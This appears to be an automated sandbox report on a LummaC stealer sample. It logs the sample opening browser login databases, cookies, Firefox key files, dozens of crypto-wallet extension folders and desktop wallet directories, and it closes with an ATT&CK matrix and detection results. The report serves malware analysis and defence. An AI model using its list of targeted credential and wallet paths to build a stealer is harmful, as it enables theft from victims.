Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\HMPPSXQPQV	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 Valid Accounts	1 Valid Accounts	111 Deobfuscate/Decode Files or Information	LSASS Memory	22 System Information Discovery	Remote Desktop Protocol	21 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Access Token Manipulation	3 Obfuscated Files or Information	Security Account Manager	121 Security Software Discovery	SMB/Windows Admin Shares	1 Screen Capture	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	311 Process Injection	1 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Valid Accounts	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	131 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	311 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Files and Directories	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
SecuriteInfo.com.Trojan.PWS.Lumma.749.31391.1681.exe	37%	ReversingLabs	ByteCode-MSIL.Trojan.DarkTortilla
